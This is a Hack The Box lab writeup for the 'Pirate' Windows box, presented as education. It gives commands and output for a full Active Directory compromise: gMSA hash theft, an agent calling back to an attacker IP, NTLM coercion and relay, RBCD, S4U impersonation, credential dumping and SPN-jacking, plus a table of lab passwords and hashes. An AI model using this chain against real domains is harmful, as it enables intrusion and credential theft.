Skip to content

HTB Pirate writeup

A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.

Pirate was a Windows Hard box that required interpreting Active Directory enumeration and linking a pre-created computer account, gMSA, NTLM relay, RBCD, S4U, and WriteSPN. Starting with pentest / p3nt3st2025!&, the pre-Windows 2000 computer account MS01$ was obtained. Its access to a gMSA NTLM hash enabled a WinRM connection to DC01. Ligolo-ng then provided a pivot into the internal segment. Relaying WEB01$ NTLM authentication to LDAPS set RBCD and led to local Administrator privileges on WEB01. Finally, the BloodHound path a.white -> a.white_adm -> IT -> WriteSPN, combined with SPN-jacking and KCD, yielded NT AUTHORITY\SYSTEM on DC01.

ItemValue
BoxPirate
PlatformHack The Box
OSWindows
DifficultyHard
pentest
|
| LDAP/SMB enumeration
v
MS01$ pre-created computer account
| password pattern: ms01
| memberOf: Domain Secure Servers
v
read gMSA managed passwords
|
+--> gMSA_ADCS_prod$ NTLM
|
| WinRM to DC01
v
foothold on DC01
|
| Ligolo-ng route to 192.168.100.0/24
v
WEB01 reachable
|
| Coerce WEB01$ SMB auth -> ntlmrelayx -> LDAPS
v
RBCD on WEB01$: MS01$ can impersonate users
|
| S4U2self + S4U2Proxy
v
WEB01 local Administrator / NT AUTHORITY\SYSTEM
|
| secretsdump: a.white plaintext password
v
a.white
|
| ForceChangePassword
v
a.white_adm
|
| IT group WriteSPN on WEB01/DC01
| SPN-jacking HTTP/WEB01* from WEB01$ to DC01$
| KCD + altservice cifs
v
DC01 NT AUTHORITY\SYSTEM
ItemValue
Domainpirate.htb
DCDC01.pirate.htb
Initial userpentest
Internal hostWEB01.pirate.htb = 192.168.100.2

The externally facing DC IP changed after an HTB restart. Below, <DC_IP> stands for that address. Both 10.129.244.95 and 10.129.23.246 appeared in the logs.

Add at least the following to /etc/hosts.

<DC_IP> DC01.pirate.htb pirate.htb DC01

The initial full-port scan was:

Terminal window
nmap -sS -A -p- --min-rate 10000 <DC_IP> -oN pirate.nmap

Key output:

53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
636/tcp open ssl/ldap
3268/tcp open ldap
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: 7h00m01s

Key observations:

  • Ports 88/389/445/636/3268/3269 indicated an AD domain controller.
  • With port 5985 open, test recovered credentials over WinRM.
  • SMB signing was required, making paths that relay NTLM received over SMB to LDAP likely to fail.
  • LDAP/LDAPS warranted attention to LDAP signing and channel binding, AD object permissions, gMSAs, and delegation.
  • Correct clock skew before using Kerberos.

The initial credentials were pentest / p3nt3st2025!&. First, check access to SMB, LDAP, and WinRM.

Terminal window
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&'
nxc winrm pirate.htb -u pentest -p 'p3nt3st2025!&'
LDAP [+] pirate.htb\pentest:p3nt3st2025!&
WINRM [-] pirate.htb\pentest:p3nt3st2025!&

pentest worked for LDAP and SMB but did not provide a WinRM shell.

Enumerate users, groups, and computers through SMB and LDAP.

Terminal window
nxc smb pirate.htb -u pentest -p 'p3nt3st2025!&' --shares --users --groups --computers --rid-brute
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --groups --computers
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
Users:
Administrator
a.white_adm
a.white
pentest
j.sparrow
Computers:
DC01$
WEB01$
MS01$
EXCH01$
gMSA_ADCS_prod$
gMSA_ADFS_prod$

The LDAP security settings also mattered.

LDAP signing: None
channel binding: Never
SMB signing: True

LDAP was a weak relay target, but required SMB signing did not guarantee that NTLM received over SMB could be relayed to LDAP. Until the later WEB01SMBrelayworked,tryingtorelayDC01 SMB relay worked, trying to relay DC01 authentication was a rabbit hole.

BloodHound/RustHound and LDAP results showed these relationships:

Terminal window
ldapsearch -LLL \
-H ldap://DC01.pirate.htb \
-D 'pentest@pirate.htb' \
-w 'p3nt3st2025!&' \
-b 'DC=pirate,DC=htb' \
'(|(cn=Remote Management Users)(cn=IT)(cn=Domain Secure Servers)(cn=Group Policy Creator Owners))' \
cn member memberOf description
dn: CN=IT,CN=Users,DC=pirate,DC=htb
member: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
dn: CN=Domain Secure Servers,CN=Users,DC=pirate,DC=htb
member: CN=MS01,CN=Computers,DC=pirate,DC=htb
dn: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
member: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
member: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb

Check the gMSA objects too.

Terminal window
ldapsearch -LLL \
-H ldap://DC01.pirate.htb \
-D 'pentest@pirate.htb' \
-w 'p3nt3st2025!&' \
-b 'DC=pirate,DC=htb' \
'(objectClass=msDS-GroupManagedServiceAccount)' \
sAMAccountName memberOf servicePrincipalName msDS-GroupMSAMembership
dn: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
sAMAccountName: gMSA_ADCS_prod$
dn: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb
sAMAccountName: gMSA_ADFS_prod$
servicePrincipalName: host/adfs.pirate.htb

msDS-GroupMSAMembership identified which principals could read a gMSA managed password. Resolving its SID RID yielded Domain Secure Servers.

Terminal window
lookupsid.py 'pirate.htb/pentest:p3nt3st2025!&@DC01.pirate.htb' 5000 | grep 4101
4101: PIRATE\Domain Secure Servers (SidTypeGroup)

This revealed the path MS01$ -> Domain Secure Servers -> gMSA password read -> Remote Management Users.

a.white_adm also had constrained delegation with protocol transition.

Terminal window
findDelegation.py -dc-ip <DC_IP> 'pirate.htb/pentest:p3nt3st2025!&'
AccountName AccountType DelegationType DelegationRightsTo
DC01$ Computer Unconstrained N/A
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb
a.white_adm Person Constrained w/ Protocol Transition HTTP/WEB01

At this point, the password for a.white_adm was unknown. Later, a password reset through a.white made this a key clue for the final stage.

MS01$ belonged to Domain Secure Servers and could read gMSA passwords. Running the pre2k module found it as a pre-created computer account.

Terminal window
nxc ldap pirate.htb -u pentest -p 'p3nt3st2025!&' -M pre2k
PRE2K Pre-created computer account: MS01$
PRE2K Pre-created computer account: EXCH01$
PRE2K Successfully obtained TGT for ms01@pirate.htb
PRE2K Successfully obtained TGT for exch01@pirate.htb

A pre-created computer account can have a lowercase hostname as its initial password: ms01 for MS01$. This allowed LDAP authentication as MS01$.

Terminal window
export KRB5CCNAME=ms01.ccache
netexec ldap DC01.pirate.htb \
-u 'MS01$' \
-p 'ms01' \
-d pirate.htb \
--gmsa \
-k
LDAP [+] pirate.htb\MS01$:ms01
LDAP Account: gMSA_ADCS_prod$ NTLM: 8e142bbd224b307f3cb31752b29f4893
LDAP Account: gMSA_ADFS_prod$ NTLM: 30e4066182bb2c81dcd950b2fbb16564

gMSA_ADCS_prod$ belonged to Remote Management Users and could access DC01 through WinRM.

Terminal window
evil-winrm-py -i pirate.htb \
-u 'gMSA_ADCS_prod$' \
-H '8e142bbd224b307f3cb31752b29f4893'
[*] Connecting to 'pirate.htb:5985' as 'gMSA_ADCS_prod$'
evil-winrm-py PS C:\Users\gMSA_ADCS_prod$\Documents>

This was a low-privilege foothold on DC01, but enough to pivot into the internal network.

DNS showed that WEB01.pirate.htb had an internal IP address.

Terminal window
dig @<DC_IP> WEB01.pirate.htb
dig @<DC_IP> DC01.pirate.htb
WEB01.pirate.htb. 1200 IN A 192.168.100.2
DC01.pirate.htb. 3600 IN A 192.168.100.1

Place a Ligolo-ng agent on DC01 and create a TUN interface on the attacking machine.

Terminal window
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

Run the agent on DC01.

Terminal window
.\agent.exe -connect <ATTACKER_VPN_IP>:11601 -ignore-cert

Select the session in the Ligolo-ng proxy and start the tunnel before adding a route. Here, the route was added on Linux, but Ligolo-ng v0.6 and later can manage it with interface_create and route_add.

Terminal window
sudo ip route add 192.168.100.0/24 dev ligolo
ping 192.168.100.2

To manage it through Ligolo-ng, create it in the proxy console as follows. With this method, do not use the earlier ip tuntap add and ip route add commands; manage creation and deletion through Ligolo-ng.

interface_create --name ligolo
route_add --name ligolo --route 192.168.100.0/24
tunnel_start --tun ligolo
64 bytes from 192.168.100.2: icmp_seq=1 ttl=64

WEB01 was now reachable from the attacking machine.

The goal was to direct WEB01NTLMauthenticationtotheattacker,relayittoDC01overLDAPS,andwriteRBCDon‘WEB01 NTLM authentication to the attacker, relay it to DC01 over LDAPS, and write RBCD on `WEB01. The ntlmrelayxoptions—delegate-access —escalate-user ‘MS01′‘usedtherelayedWEB01'` used the relayed WEB01 rights to update msDS-AllowedToActOnBehalfOfOtherIdentity, allowing MS01$ to perform S4U2Proxy against WEB01.

An HTTP/WebDAV callback was tried first, but failed because no callback occurred in the WEB01 -> DC01:8080 direction. An SMB callback sent directly to the attacker VPN IP eventually worked.

Start the relay listener.

Terminal window
sudo env "PATH=$PATH" ntlmrelayx.py \
-t ldaps://dc01.pirate.htb \
--delegate-access \
--escalate-user 'MS01$' \
-smb2support \
--remove-mic

In another terminal, coerce WEB01. The -l option specifies the attacker’s current VPN IP.

Terminal window
coercer coerce \
-u 'gMSA_ADCS_prod$' \
--hashes ':8e142bbd224b307f3cb31752b29f4893' \
-d pirate.htb \
-l <ATTACKER_VPN_IP> \
-t 192.168.100.2 \
--always-continue

Successful ntlmrelayx output:

(SMB): Authenticating connection from PIRATE/WEB01$@<DC_IP> against ldaps://dc01.pirate.htb SUCCEED
ldaps://PIRATE/WEB01$@dc01.pirate.htb -> Delegation rights modified succesfully!
ldaps://PIRATE/WEB01$@dc01.pirate.htb -> MS01$ can now impersonate users on WEB01$ via S4U2Proxy

S4U2Proxy is a Kerberos extension that lets a service account obtain a ticket to another service on behalf of a user. Here, MS01$ could obtain a ticket for cifs/WEB01.pirate.htb while impersonating Administrator.

The password for MS01$ was ms01. Obtain a TGT first, then use it to request a service ticket for WEB01.

Terminal window
getTGT.py pirate.htb/'MS01$':'ms01' -dc-ip <DC_IP>
export KRB5CCNAME='MS01$.ccache'
getST.py pirate.htb/'MS01$' \
-spn 'cifs/WEB01.pirate.htb' \
-impersonate Administrator \
-dc-ip <DC_IP> \
-k -no-pass
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

Use this ticket with psexec.py to access WEB01.

Terminal window
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass \
-target-ip 192.168.100.2 \
WEB01.pirate.htb
[*] Found writable share ADMIN$
[*] Starting service ...
Microsoft Windows [Version 10.0.17763.8385]
C:\WINDOWS\system32> whoami
nt authority\system

WEB01’s local SAM/LSA secrets could also be dumped. It took time, but yielded the plaintext password for a.white.

Terminal window
secretsdump.py -k -no-pass \
-target-ip 192.168.100.2 \
WEB01.pirate.htb \
-debug
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
PIRATE\a.white:E2nvAOKSz5Xz2MJu

Use the WEB01 local Administrator hash with WinRM to read the user flag.

Terminal window
evil-winrm-py -i 192.168.100.2 \
-u 'Administrator' \
-H 'b1aac1584c2ea8ed0a9429684e4fc3e5'
Terminal window
type C:\Users\a.white\Desktop\user.txt
[REDACTED]

WEB01\Administrator was the local Administrator on WEB01, distinct from the domain’s PIRATE\Administrator, so it did not yet provide the root flag.

The a.white password from secretsdump enabled this BloodHound path:

a.white
-> ForceChangePassword
a.white_adm
-> MemberOf IT
IT
-> WriteSPN on EXCH01, MS01, WEB01, DC01
a.white_adm
-> KCD to HTTP/WEB01 and HTTP/WEB01.pirate.htb

First, use a.white to change the password of a.white_adm.

Terminal window
bloodyAD \
-u 'a.white' \
-p 'E2nvAOKSz5Xz2MJu' \
-d pirate.htb \
--host <DC_IP> \
set password 'a.white_adm' 'Pwned123!'
[+] Password changed successfully!

LDAP modification and Kerberos S4U were now available as a.white_adm.

WriteSPN grants permission to change the servicePrincipalName attribute. Besides adding an SPN for Kerberoasting, it can be combined with existing delegation to perform SPN-jacking.

The idea was:

  • a.white_adm could use KCD for HTTP/WEB01 and HTTP/WEB01.pirate.htb.
  • IT had WriteSPN over both WEB01$ and DC01$.
  • Remove HTTP/WEB01* from WEB01$ and add it to DC01$.
  • The KDC would resolve HTTP/WEB01.pirate.htb as an SPN of DC01$ and issue a ticket DC01 could decrypt.
  • Use getST.py -altservice cifs to change the service class from HTTP to cifs for SMB administration.

First, create the LDIF.

Terminal window
tee spnjack.ldif >/dev/null <<'EOF'
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-
EOF

Apply the LDAP modification.

Terminal window
ldapmodify -x -H ldap://dc01.pirate.htb \
-D 'a.white_adm@pirate.htb' \
-w 'Pwned123!' \
-f spnjack.ldif
modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb"
modifying entry "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb"

Verify it.

Terminal window
ldapsearch -LLL -x -H ldap://dc01.pirate.htb \
-D 'a.white_adm@pirate.htb' \
-w 'Pwned123!' \
-b 'DC=pirate,DC=htb' \
'(|(sAMAccountName=WEB01$)(sAMAccountName=DC01$))' servicePrincipalName
dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
servicePrincipalName: HTTP/WEB01.pirate.htb
servicePrincipalName: HTTP/WEB01
...
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
servicePrincipalName: tapinego/WEB01
servicePrincipalName: WSMAN/WEB01
servicePrincipalName: HOST/WEB01.pirate.htb
servicePrincipalName: TERMSRV/WEB01

Request a new ticket after clearing the old ccache.

Terminal window
unset KRB5CCNAME
getST.py 'pirate.htb/a.white_adm:Pwned123!' \
-spn 'HTTP/WEB01.pirate.htb' \
-impersonate Administrator \
-altservice cifs \
-dc-ip <DC_IP>
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to cifs/WEB01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache

Although the destination IP was DC01, keep the destination name as WEB01.pirate.htb to match the ticket’s SPN.

Terminal window
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
psexec.py -k -no-pass \
-target-ip <DC_IP> \
WEB01.pirate.htb
[*] Requesting shares on <DC_IP>.....
[*] Found writable share ADMIN$
[*] Starting service ...
Microsoft Windows [Version 10.0.17763.8385]
C:\Windows\system32> whoami
nt authority\system

Read the root flag.

Terminal window
type C:\Users\Administrator\Desktop\root.txt
[REDACTED]
  • AD CS exposed many certificate templates and CA permissions, but certipy find -vulnerable found no straightforward ESC path.
  • Coercing DC01$ worked, but LDAP/LDAPS relay failed with SMB signing required.
  • HTTP/WebDAV relay attempts using \\192.168.100.1@8080\... and \\DC01.pirate.htb@8080\... produced no HTTP callback from WEB01, so ntlmrelayx received no connection.
  • A Kerberoast hash for a.white_adm was obtained, but rockyou and rules did not crack it. Muffin was displayed as a candidate, not the password.
  • secretsdump.py appeared very slow through Ligolo, but eventually retrieved the SAM/LSA secrets.

Remove or restore the following to return the environment to its prior state.

  • RBCD added to WEB01$ by ntlmrelayx: msDS-AllowedToActOnBehalfOfOtherIdentity
  • The a.white_adm password reset to Pwned123!
  • SPNs moved by SPN-jacking:
    • Remove HTTP/WEB01 and HTTP/WEB01.pirate.htb from DC01$
    • Restore HTTP/WEB01 and HTTP/WEB01.pirate.htb on WEB01$
  • The temporary service and uploaded executable created by psexec.py

For Ligolo-ng, restore the target agent, proxy listener, tunnel, Linux route, and TUN interface separately. This run used the listener 192.168.100.1:8080 -> 127.0.0.1:8080 and route 192.168.100.0/24 dev ligolo. Remove 172.16.7.0/24 too if it was added.

In the Ligolo-ng proxy’s interactive console, stop the listener and tunnel first.

listener_list
listener_stop 0
tunnel_list
stop

Match the 0 in listener_stop 0 to the listener ID shown by listener_list. Stop all listeners if multiple were created.

On the attacking Linux machine, remove the route and TUN interface.

Terminal window
ip route show dev ligolo
sudo ip route del 192.168.100.0/24 dev ligolo
sudo ip route del 172.16.7.0/24 dev ligolo 2>/dev/null || true
sudo ip addr flush dev ligolo
sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo

If managed through Ligolo-ng’s route_add and interface_create, delete them through its console too.

route_del --name ligolo --route 192.168.100.0/24
route_del --name ligolo --route 172.16.7.0/24
interface_delete --name ligolo

On the target, remove the agent process and uploaded binary.

Terminal window
Get-Process agent -ErrorAction SilentlyContinue | Stop-Process -Force
Remove-Item 'C:\Users\gMSA_ADCS_prod$\Documents\agent.exe' -Force

Finally, check that no proxy or relay listener remains on the attacking machine.

Terminal window
sudo ss -ltnp | grep -E ':(80|445|8080|11601)\b' || true

Example LDIF to restore the SPNs:

dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
changetype: modify
delete: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-
dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: HTTP/WEB01
servicePrincipalName: HTTP/WEB01.pirate.htb
-

Apply the restoration LDIF.

Terminal window
ldapmodify -x -H ldap://dc01.pirate.htb \
-D 'a.white_adm@pirate.htb' \
-w 'Pwned123!' \
-f restore-spn.ldif

To undo RBCD, remove the MS01$ ACE from msDS-AllowedToActOnBehalfOfOtherIdentity on WEB01$. A machine reset can restore the lab environment. For manual restoration, record the current value with BloodHound or an LDAP tool, then remove only the relevant ACE.

TypeValue
Initial credentialpirate.htb\pentest : p3nt3st2025!&
Pre-created computerMS01$ : ms01
Pre-created computerEXCH01$ : exch01
gMSA NTLMgMSA_ADCS_prod$ : 8e142bbd224b307f3cb31752b29f4893
gMSA NTLMgMSA_ADFS_prod$ : 30e4066182bb2c81dcd950b2fbb16564
WEB01 local Administrator NTLMb1aac1584c2ea8ed0a9429684e4fc3e5
WEB01 machine NTLMfeba09cf0013fbf5834f50def734bca9
Domain user plaintextPIRATE\a.white : E2nvAOKSz5Xz2MJu
Reset passwordPIRATE\a.white_adm : Pwned123!
User flag pathC:\Users\a.white\Desktop\user.txt
User flag[REDACTED]
Root flag pathC:\Users\Administrator\Desktop\root.txt
Root flag[REDACTED]

The main tickets and artifacts were:

  • ms01.ccache
  • MS01$.ccache
  • Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
  • spnjack.ldif
  • kerberoast.hash
  • Initial AD enumeration: users, groups, computers, shares, LDAP attributes, delegation, and interpreting BloodHound paths
  • Pre-Windows 2000 computer accounts: the initial password pattern for pre-created computer accounts
  • gMSAs: msDS-GroupMSAMembership and permission to read managed passwords
  • NTLM relay: inducing machine account authentication with Coercer and relaying it to LDAPS with ntlmrelayx
  • RBCD: how msDS-AllowedToActOnBehalfOfOtherIdentity allows a service account to use S4U2Proxy against a target host
  • Kerberos S4U: impersonation through S4U2self and S4U2Proxy
  • Ligolo-ng: pivoting from a compromised host into an internal network
  • WriteSPN / SPN-jacking: moving servicePrincipalName entries to direct KCD to another host
  • ldapmodify: LDAP operations to add, delete, or replace AD object attributes
  • hashcat rules: transformations such as capitalization or appending digits and symbols to wordlist candidates

This box had many potentially interesting AD features, but the shortest path was to interpret object relationships rather than exploit a feature directly. Finding the unusual MS01$ early mattered: the path depended on connecting Domain Secure Servers, gMSA read, and pre2k.

For the relay, do not judge failure from a Coercer error alone; check whether the intended machine account reached ntlmrelayx. The -l address also had to be one the target could connect back to.

The final WriteSPN step required combining KCD with SPN-jacking rather than simply Kerberoasting. The apparently odd use of WEB01.pirate.htb as the name when connecting to DC01 follows from how Kerberos service tickets and SPN resolution work.